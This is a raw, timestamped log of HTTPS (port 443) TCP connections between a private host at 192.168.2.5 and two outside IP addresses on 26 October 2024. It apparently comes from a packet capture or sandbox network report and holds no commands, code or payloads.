Oct 26, 2024 13:45:52.628164053 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.633337021 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.633337021 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.633358002 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.633369923 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.636265039 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.636275053 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.637172937 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.637181997 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.675988913 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.676038980 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.676109076 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.676583052 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.676604986 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.677539110 CEST	49889	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.677648067 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.677736044 CEST	49889	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.677875996 CEST	49889	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.677900076 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.739285946 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.739331007 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.739383936 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.739401102 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.739417076 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.739473104 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.741564035 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.741581917 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.741592884 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.741597891 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.745774984 CEST	49890	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.745831013 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.745888948 CEST	49890	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.746052027 CEST	49890	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.746068001 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.767122984 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.767210960 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.767291069 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.767510891 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.767535925 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.767550945 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.767558098 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.775500059 CEST	49891	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.775629997 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:52.775769949 CEST	49891	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.775969028 CEST	49891	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:52.775983095 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.405426979 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.405960083 CEST	49889	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.406029940 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.406490088 CEST	49889	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.406506062 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.426120996 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.426759005 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.426775932 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.427587032 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.427592993 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.489638090 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.490470886 CEST	49890	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.490492105 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.491000891 CEST	49890	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.491004944 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.535604000 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.535696983 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.535886049 CEST	49889	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.537193060 CEST	49889	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.537244081 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.537297010 CEST	49889	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.537317038 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.541229010 CEST	49892	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.541269064 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.544017076 CEST	49892	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.544241905 CEST	49892	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.544255972 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.561239004 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.561424971 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.561657906 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.561739922 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.561752081 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.561763048 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.561774969 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.565148115 CEST	49893	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.565180063 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.565258980 CEST	49893	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.565476894 CEST	49893	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.565490007 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.620263100 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.620290995 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.620342016 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.620362043 CEST	49890	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.620431900 CEST	49890	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.620878935 CEST	49890	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.620893955 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.620906115 CEST	49890	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.620910883 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.624682903 CEST	49894	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.624736071 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.624799013 CEST	49894	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.624983072 CEST	49894	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.625004053 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.754827976 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.757896900 CEST	49895	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.757935047 CEST	443	49895	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:53.758019924 CEST	49895	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.758179903 CEST	49895	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:53.758189917 CEST	443	49895	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.262722969 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.265465975 CEST	49892	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.265477896 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.266000986 CEST	49892	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.266005993 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.315027952 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.316543102 CEST	49893	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.316575050 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.317091942 CEST	49893	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.317099094 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.370417118 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.371810913 CEST	49894	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.371850967 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.372332096 CEST	49894	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.372339010 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.390494108 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.390532017 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.390587091 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.390688896 CEST	49892	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.390727997 CEST	49892	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.390978098 CEST	49892	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.390988111 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.390997887 CEST	49892	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.391001940 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.394645929 CEST	49896	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.394690990 CEST	443	49896	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.394779921 CEST	49896	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.394984961 CEST	49896	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.395003080 CEST	443	49896	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.646895885 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.646965981 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.647037983 CEST	49893	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.647326946 CEST	49893	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.647344112 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.647356033 CEST	49893	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.647361994 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.647833109 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.647861004 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.647916079 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.647922993 CEST	49894	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.647958994 CEST	49894	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.649216890 CEST	49894	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.649239063 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.649275064 CEST	49894	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.649283886 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.650376081 CEST	443	49895	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.651361942 CEST	49895	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.651370049 CEST	443	49895	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.651784897 CEST	49897	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.651828051 CEST	443	49897	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.651897907 CEST	49897	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.651957989 CEST	49895	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.651963949 CEST	443	49895	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.652344942 CEST	49897	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.652364969 CEST	443	49897	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.654314041 CEST	49898	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.654340982 CEST	443	49898	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.654414892 CEST	49898	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.654565096 CEST	49898	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.654575109 CEST	443	49898	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.780544996 CEST	443	49895	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.780611992 CEST	443	49895	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.780703068 CEST	49895	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.838478088 CEST	49895	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.838516951 CEST	443	49895	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.838530064 CEST	49895	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.838537931 CEST	443	49895	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.851056099 CEST	49899	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.851099014 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:54.851169109 CEST	49899	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.852291107 CEST	49899	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:54.852307081 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.162787914 CEST	443	49896	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.207848072 CEST	49896	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.260556936 CEST	49896	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.260588884 CEST	443	49896	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.262187958 CEST	49896	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.262201071 CEST	443	49896	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.383451939 CEST	443	49898	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.384020090 CEST	49898	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.384038925 CEST	443	49898	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.384563923 CEST	49898	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.384572983 CEST	443	49898	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.389018059 CEST	443	49896	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.389094114 CEST	443	49896	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.389164925 CEST	49896	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.389394999 CEST	49896	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.389414072 CEST	443	49896	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.389429092 CEST	49896	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.389435053 CEST	443	49896	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.392728090 CEST	49900	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.392771959 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.392838955 CEST	49900	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.393023014 CEST	49900	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.393042088 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.405383110 CEST	443	49897	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.405917883 CEST	49897	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.405963898 CEST	443	49897	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.406467915 CEST	49897	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.406478882 CEST	443	49897	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.513396978 CEST	443	49898	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.513487101 CEST	443	49898	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.513540030 CEST	49898	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.513788939 CEST	49898	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.513808966 CEST	443	49898	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.513832092 CEST	49898	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.513839006 CEST	443	49898	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.517208099 CEST	49901	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.517247915 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.517406940 CEST	49901	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.517688990 CEST	49901	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.517702103 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.542108059 CEST	443	49897	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.542856932 CEST	443	49897	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.542934895 CEST	49897	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.543135881 CEST	49897	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.543135881 CEST	49897	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.543154955 CEST	443	49897	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.543165922 CEST	443	49897	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.546169996 CEST	49902	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.546204090 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:55.546274900 CEST	49902	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.546432018 CEST	49902	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:55.546448946 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:56.321152925 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:56.321706057 CEST	49902	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:56.321713924 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:56.322251081 CEST	49902	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:56.322256088 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:56.451090097 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:56.451392889 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:56.451450109 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:56.451567888 CEST	49902	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:56.451683044 CEST	49902	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:56.452059984 CEST	49902	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:56.452080011 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:56.452091932 CEST	49902	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:56.452096939 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:56.456285954 CEST	49903	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:56.456341028 CEST	443	49903	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:56.456578016 CEST	49903	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:56.456737041 CEST	49903	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:56.456748009 CEST	443	49903	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:57.510857105 CEST	443	49865	142.250.185.228	192.168.2.5
Oct 26, 2024 13:45:57.510931015 CEST	443	49865	142.250.185.228	192.168.2.5
Oct 26, 2024 13:45:57.510977983 CEST	49865	443	192.168.2.5	142.250.185.228
Oct 26, 2024 13:45:59.088721991 CEST	49865	443	192.168.2.5	142.250.185.228
Oct 26, 2024 13:45:59.088759899 CEST	443	49865	142.250.185.228	192.168.2.5
Oct 26, 2024 13:46:08.015057087 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:08.016086102 CEST	49891	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:08.016148090 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:08.016639948 CEST	49891	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:08.016654968 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:08.143508911 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:08.143840075 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:08.143932104 CEST	49891	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:08.143966913 CEST	49891	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:08.143986940 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:08.143996954 CEST	49891	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:08.144002914 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:08.148236990 CEST	49904	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:08.148289919 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:08.148361921 CEST	49904	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:08.148510933 CEST	49904	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:08.148530960 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:08.899466038 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:08.900100946 CEST	49904	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:08.900131941 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:08.900609970 CEST	49904	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:08.900618076 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:09.033694029 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:09.033723116 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:09.033771038 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:09.033899069 CEST	49904	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:09.033900023 CEST	49904	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:09.034126043 CEST	49904	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:09.034153938 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:09.034168959 CEST	49904	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:09.034178019 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:09.037607908 CEST	49905	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:09.037645102 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:09.037767887 CEST	49905	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:09.037909985 CEST	49905	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:09.037920952 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:09.788444042 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:09.789021969 CEST	49905	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:09.789052963 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:09.789522886 CEST	49905	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:09.789529085 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:09.921792030 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:09.921863079 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:09.921953917 CEST	49905	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:09.922251940 CEST	49905	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:09.922276020 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:09.922288895 CEST	49905	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:09.922297001 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:09.925745010 CEST	49906	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:09.925789118 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:09.925879002 CEST	49906	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:09.926069021 CEST	49906	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:09.926086903 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.168090105 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.168720961 CEST	49899	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.168761969 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.169230938 CEST	49899	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.169238091 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.295659065 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.295819044 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.295890093 CEST	49899	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.296078920 CEST	49899	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.296102047 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.296120882 CEST	49899	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.296128988 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.299105883 CEST	49907	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.299156904 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.299236059 CEST	49907	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.299412966 CEST	49907	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.299431086 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.443559885 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.444200039 CEST	49900	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.444221020 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.444674015 CEST	49900	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.444684982 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.577259064 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.577327967 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.577405930 CEST	49900	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:10.577420950 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:10.577445030 CEST	443	49900	13.107.246.45	192.168.2.5
